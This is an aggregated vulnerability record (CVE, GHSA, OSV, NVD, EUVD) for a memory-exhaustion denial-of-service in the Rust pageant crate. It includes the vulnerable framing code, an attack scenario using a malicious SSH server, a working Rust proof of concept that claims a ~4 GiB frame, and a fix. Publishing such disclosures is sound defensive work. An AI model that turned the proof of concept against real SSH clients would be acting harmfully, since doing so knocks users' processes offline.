{"id":"CVE-2026-116775","aliases":["EUVD-2026-111390","GHSA-662x-8wvj-2276"],"status":"published","title":"pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)","description":"pageant provides a PageantStream type that implements AsyncRead and AsyncWrite traits and can be used to communicate with a running Pageant instance. From 0.2.0 until 0.2.5, PageantStream::new in pageant/src/wmmessage.rs trusts a peer-controlled four-byte length prefix and buffers until len + 4 bytes are available without checking the fixed _AGENT_MAX_MSGLEN transport capacity. An application that bridges an SSH forwarded-agent channel to the raw stream can allow a malicious server to force large allocations or retain a partially filled frame, causing client memory exhaustion. This issue is fixed in version 0.2.5.","severity":{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00294,"percentile":0.22247,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-10-27T20:27:30Z","modified":"2026-11-03T13:17:20Z","fixes":[{"ecosystem":"crates.io","package":"pageant","fixed_in":["0.2.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"pageant","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.0"},{"last_affected":"0.2.4"},{"fixed":"0.2.5"}]}]},{"source":"osv","ecosystem":"crates.io","package":"pageant","ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.0"},{"fixed":"0.2.5"}]}]}],"products":[{"vendor":"eugeny","product":"russh"}],"references":[{"url":"https://github.com/Eugeny/russh/security/advisories/GHSA-662x-8wvj-2276","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Eugeny/russh/commit/69e4b55513eaa8ac9d2ad4236f13171fc164e10a","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Eugeny/russh/releases/tag/v0.65.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116775","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-662x-8wvj-2276"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116775.json","tags":["advisory"]},{"url":"https://github.com/Eugeny/russh","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-116775","title":"pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)","description":"pageant provides a PageantStream type that implements AsyncRead and AsyncWrite traits and can be used to communicate with a running Pageant instance. From 0.2.0 until 0.2.5, PageantStream::new in pageant/src/wmmessage.rs trusts a peer-controlled four-byte length prefix and buffers until len + 4 bytes are available without checking the fixed _AGENT_MAX_MSGLEN transport capacity. An application that bridges an SSH forwarded-agent channel to the raw stream can allow a malicious server to force large allocations or retain a partially filled frame, causing client memory exhaustion. This issue is fixed in version 0.2.5.","status":"published","published":"2026-10-27T20:27:30.852Z","modified":"2026-11-03T12:14:14.017Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-03T13:57:27.751141Z"}],"euvd":[{"id":"EUVD-2026-111390","description":"pageant provides a PageantStream type that implements AsyncRead and AsyncWrite traits and can be used to communicate with a running Pageant instance. From 0.2.0 until 0.2.5, PageantStream::new in pageant/src/wmmessage.rs trusts a peer-controlled four-byte length prefix and buffers until len + 4 bytes are available without checking the fixed _AGENT_MAX_MSGLEN transport capacity. An application that bridges an SSH forwarded-agent channel to the raw stream can allow a malicious server to force large allocations or retain a partially filled frame, causing client memory exhaustion. This issue is fixed in version 0.2.5.","status":"published","published":"2026-10-27T20:27:30Z","modified":"2026-11-03T12:14:14Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-03T13:54:42.043274Z"}],"ghsa":[{"id":"GHSA-662x-8wvj-2276","title":"pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)","description":"## Summary\n\n`pageant::PageantStream` reads a 4-byte big-endian length prefix from its input stream and buffers until `len + 4` bytes are available, without ever validating `len`. The underlying WM_COPYDATA transport physically cannot carry frames larger than 8 KiB (`_AGENT_MAX_MSGLEN`, the fixed-size shared memory mapping), so an oversized frame is destined to fail — but only after the re-framing task has already buffered the full claimed size. A peer controlling the stream bytes can claim a frame of up to ~4 GiB and either stream that much data (forcing a corresponding allocation) or simply stop mid-frame and keep the partial buffer resident indefinitely.\n\n## Vulnerable code\n\n`pageant/src/wmmessage.rs`, `PageantStream::new()` (the spawned re-framing task), current main:\n\n```rust\nlet mut buf = BytesMut::new();\nwhile let Ok(n) = two.read_buf(\u0026mut buf).await {\n    if n == 0 { break; }\n    if buf.len() \u003c 4 { continue; }\n    let len = BigEndian::read_u32(\u0026buf) as usize;\n    if buf.len() \u003c len + 4 { continue; }   // \u003c-- `len` is trusted; no upper bound\n    let msg = buf.split_to(len + 4).freeze();\n    // ...\n}\n```\n\n`len` is consumed verbatim from the stream, so `buf` grows towards `len + 4`. Even a \"complete\" oversized frame cannot succeed: `query_pageant_direct()` writes `msg` into the `_AGENT_MAX_MSGLEN`-sized (8192 bytes) shared mapping and fails with `Error::Overflow` for anything larger — the unbounded buffering is therefore pure attacker-controlled memory growth.\n\nHistory: introduced in commit `6eac7a157dd2cc81b8fafdb2977f1c388fe9784b` (\"fix Tabby#10301 Still cannot login with pageant\", PR #565, 2025-09-25) together with the length-prefixed framing itself; present in every 0.2.x release (0.1.0 predates the length-prefixed loop and is not affected by this issue).\n\n## Attack scenario (SSH agent forwarding)\n\nThe crate is documented as a raw transport (\"This crate only implements the transport, not the actual SSH agent protocol\"). The standard way to service a remote server's forwarded agent channel on Windows is to bridge the SSH channel to the local agent, e.g.:\n\n```rust\n// inside Handler::server_channel_open_agent_forward (russh client, sketch)\nlet mut channel = channel.into_stream();          // bytes sent by the SSH server\nlet mut agent = pageant::PageantStream::new().await?;\ntokio::io::copy_bidirectional(\u0026mut channel, \u0026mut agent).await?;\n```\n\nIn this (intended) bridging use, the bytes written into `PageantStream` are the SSH server's channel payload, so the 4-byte length prefix is controlled by a malicious or compromised SSH server. The server only needs to send the four bytes `FF FF F0 00`, then stream data (or stall). russh's typed `AgentClient` bounds the response frames it reads with `MAX_AGENT_FRAME_LEN` (256 KiB) and builds its own request frames, but the raw stream path — the documented transport usage — has no equivalent bound.\n\nImpact: remote memory-exhaustion DoS of the client process. A full-size claim lets the peer force buffering of up to ~4 GiB of memory, which on memory-constrained hosts ends in an allocation-failure abort (uncatchable in Rust). Multiple forwarded channels multiply the effect. No memory-safety violation was observed.\n\n## Proof of concept\n\n(Windows; no Pageant instance required — buffering happens before any Pageant interaction)\n\n```rust\nuse tokio::io::AsyncWriteExt;\n\n#[tokio::main(flavor = \"current_thread\")]\nasync fn main() -\u003e Result\u003c(), Box\u003cdyn std::error::Error\u003e\u003e {\n    let mut stream = pageant::PageantStream::new().await?;\n    // Claim a ~4 GiB frame, stream 256 MiB, then stall: the task buffers all of it.\n    stream.write_all(\u00260xFFFF_F000u32.to_be_bytes()).await?;\n    let chunk = vec![0u8; 256 * 1024];\n    for _ in 0..1024 { stream.write_all(\u0026chunk).await?; } // 256 MiB, frame never completed\n    tokio::time::sleep(std::time::Duration::from_secs(30)).await;\n    Ok(())\n}\n```\n\nObserved on Windows 11, pageant 0.2.4 (source v0.64.1, Rust 1.99): process working set grows from ~7.4 MB to ~264.7 MB after 256 MiB is streamed, and stays there while the peer stalls; no error is ever raised. Memory grows linearly with bytes sent, up to the claimed length. (Allocation behavior additionally verified with a counting global allocator.)\n\n## Suggested fix\n\nReject frames that cannot fit the transport before buffering:\n\n```diff\n                 let len = BigEndian::read_u32(\u0026buf) as usize;\n+                // The WM_COPYDATA transport is backed by a fixed-size shared\n+                // memory mapping: larger requests can never fit. Reject them\n+                // before buffering. Without this cap a malicious peer could\n+                // force up to ~4 GiB of buffering by claiming a huge frame\n+                // and never completing it.\n+                if len.saturating_add(4) \u003e _AGENT_MAX_MSGLEN {\n+                    debug!(\"dropping oversized Pageant request: {len} bytes\");\n+                    break;\n+                }\n                 if buf.len() \u003c len + 4 {\n                     continue;\n                 }\n```\n\n`saturating_add` also removes a theoretical 32-bit `len + 4` overflow. `break` shuts down the re-framing task (the writer observes the stream close); returning an error through the stream would work equally well. Happy to submit a PR with this change, or with any alternative you prefer.\n\n## Reporter\n\nTshellauth","status":"published","published":"2026-10-30T22:59:00Z","modified":"2026-10-30T22:59:03Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-116775","description":"pageant provides a PageantStream type that implements AsyncRead and AsyncWrite traits and can be used to communicate with a running Pageant instance. From 0.2.0 until 0.2.5, PageantStream::new in pageant/src/wmmessage.rs trusts a peer-controlled four-byte length prefix and buffers until len + 4 bytes are available without checking the fixed _AGENT_MAX_MSGLEN transport capacity. An application that bridges an SSH forwarded-agent channel to the raw stream can allow a malicious server to force large allocations or retain a partially filled frame, causing client memory exhaustion. This issue is fixed in version 0.2.5.","status":"published","published":"2026-10-27T21:18:06.103Z","modified":"2026-11-03T13:17:20.337Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-03T18:16:46.478505Z"}],"osv":[{"id":"CVE-2026-116775","title":"pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)","description":"pageant provides a PageantStream type that implements AsyncRead and AsyncWrite traits and can be used to communicate with a running Pageant instance. From 0.2.0 until 0.2.5, PageantStream::new in pageant/src/wmmessage.rs trusts a peer-controlled four-byte length prefix and buffers until len + 4 bytes are available without checking the fixed _AGENT_MAX_MSGLEN transport capacity. An application that bridges an SSH forwarded-agent channel to the raw stream can allow a malicious server to force large allocations or retain a partially filled frame, causing client memory exhaustion. This issue is fixed in version 0.2.5.","status":"published","published":"2026-10-27T20:27:30.852Z","modified":"2026-11-05T02:30:43.770615587Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-770"],"updated_at":"2026-11-07T03:08:01.156605Z"},{"id":"GHSA-662x-8wvj-2276","title":"pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)","description":"## Summary\n\n`pageant::PageantStream` reads a 4-byte big-endian length prefix from its input stream and buffers until `len + 4` bytes are available, without ever validating `len`. The underlying WM_COPYDATA transport physically cannot carry frames larger than 8 KiB (`_AGENT_MAX_MSGLEN`, the fixed-size shared memory mapping), so an oversized frame is destined to fail — but only after the re-framing task has already buffered the full claimed size. A peer controlling the stream bytes can claim a frame of up to ~4 GiB and either stream that much data (forcing a corresponding allocation) or simply stop mid-frame and keep the partial buffer resident indefinitely.\n\n## Vulnerable code\n\n`pageant/src/wmmessage.rs`, `PageantStream::new()` (the spawned re-framing task), current main:\n\n```rust\nlet mut buf = BytesMut::new();\nwhile let Ok(n) = two.read_buf(\u0026mut buf).await {\n    if n == 0 { break; }\n    if buf.len() \u003c 4 { continue; }\n    let len = BigEndian::read_u32(\u0026buf) as usize;\n    if buf.len() \u003c len + 4 { continue; }   // \u003c-- `len` is trusted; no upper bound\n    let msg = buf.split_to(len + 4).freeze();\n    // ...\n}\n```\n\n`len` is consumed verbatim from the stream, so `buf` grows towards `len + 4`. Even a \"complete\" oversized frame cannot succeed: `query_pageant_direct()` writes `msg` into the `_AGENT_MAX_MSGLEN`-sized (8192 bytes) shared mapping and fails with `Error::Overflow` for anything larger — the unbounded buffering is therefore pure attacker-controlled memory growth.\n\nHistory: introduced in commit `6eac7a157dd2cc81b8fafdb2977f1c388fe9784b` (\"fix Tabby#10301 Still cannot login with pageant\", PR #565, 2025-09-25) together with the length-prefixed framing itself; present in every 0.2.x release (0.1.0 predates the length-prefixed loop and is not affected by this issue).\n\n## Attack scenario (SSH agent forwarding)\n\nThe crate is documented as a raw transport (\"This crate only implements the transport, not the actual SSH agent protocol\"). The standard way to service a remote server's forwarded agent channel on Windows is to bridge the SSH channel to the local agent, e.g.:\n\n```rust\n// inside Handler::server_channel_open_agent_forward (russh client, sketch)\nlet mut channel = channel.into_stream();          // bytes sent by the SSH server\nlet mut agent = pageant::PageantStream::new().await?;\ntokio::io::copy_bidirectional(\u0026mut channel, \u0026mut agent).await?;\n```\n\nIn this (intended) bridging use, the bytes written into `PageantStream` are the SSH server's channel payload, so the 4-byte length prefix is controlled by a malicious or compromised SSH server. The server only needs to send the four bytes `FF FF F0 00`, then stream data (or stall). russh's typed `AgentClient` bounds the response frames it reads with `MAX_AGENT_FRAME_LEN` (256 KiB) and builds its own request frames, but the raw stream path — the documented transport usage — has no equivalent bound.\n\nImpact: remote memory-exhaustion DoS of the client process. A full-size claim lets the peer force buffering of up to ~4 GiB of memory, which on memory-constrained hosts ends in an allocation-failure abort (uncatchable in Rust). Multiple forwarded channels multiply the effect. No memory-safety violation was observed.\n\n## Proof of concept\n\n(Windows; no Pageant instance required — buffering happens before any Pageant interaction)\n\n```rust\nuse tokio::io::AsyncWriteExt;\n\n#[tokio::main(flavor = \"current_thread\")]\nasync fn main() -\u003e Result\u003c(), Box\u003cdyn std::error::Error\u003e\u003e {\n    let mut stream = pageant::PageantStream::new().await?;\n    // Claim a ~4 GiB frame, stream 256 MiB, then stall: the task buffers all of it.\n    stream.write_all(\u00260xFFFF_F000u32.to_be_bytes()).await?;\n    let chunk = vec![0u8; 256 * 1024];\n    for _ in 0..1024 { stream.write_all(\u0026chunk).await?; } // 256 MiB, frame never completed\n    tokio::time::sleep(std::time::Duration::from_secs(30)).await;\n    Ok(())\n}\n```\n\nObserved on Windows 11, pageant 0.2.4 (source v0.64.1, Rust 1.99): process working set grows from ~7.4 MB to ~264.7 MB after 256 MiB is streamed, and stays there while the peer stalls; no error is ever raised. Memory grows linearly with bytes sent, up to the claimed length. (Allocation behavior additionally verified with a counting global allocator.)\n\n## Suggested fix\n\nReject frames that cannot fit the transport before buffering:\n\n```diff\n                 let len = BigEndian::read_u32(\u0026buf) as usize;\n+                // The WM_COPYDATA transport is backed by a fixed-size shared\n+                // memory mapping: larger requests can never fit. Reject them\n+                // before buffering. Without this cap a malicious peer could\n+                // force up to ~4 GiB of buffering by claiming a huge frame\n+                // and never completing it.\n+                if len.saturating_add(4) \u003e _AGENT_MAX_MSGLEN {\n+                    debug!(\"dropping oversized Pageant request: {len} bytes\");\n+                    break;\n+                }\n                 if buf.len() \u003c len + 4 {\n                     continue;\n                 }\n```\n\n`saturating_add` also removes a theoretical 32-bit `len + 4` overflow. `break` shuts down the re-framing task (the writer observes the stream close); returning an error through the stream would work equally well. Happy to submit a PR with this change, or with any alternative you prefer.\n\n## Reporter\n\nTshellauth","status":"published","published":"2026-10-30T22:59:00Z","modified":"2026-10-30T23:15:08.228303778Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}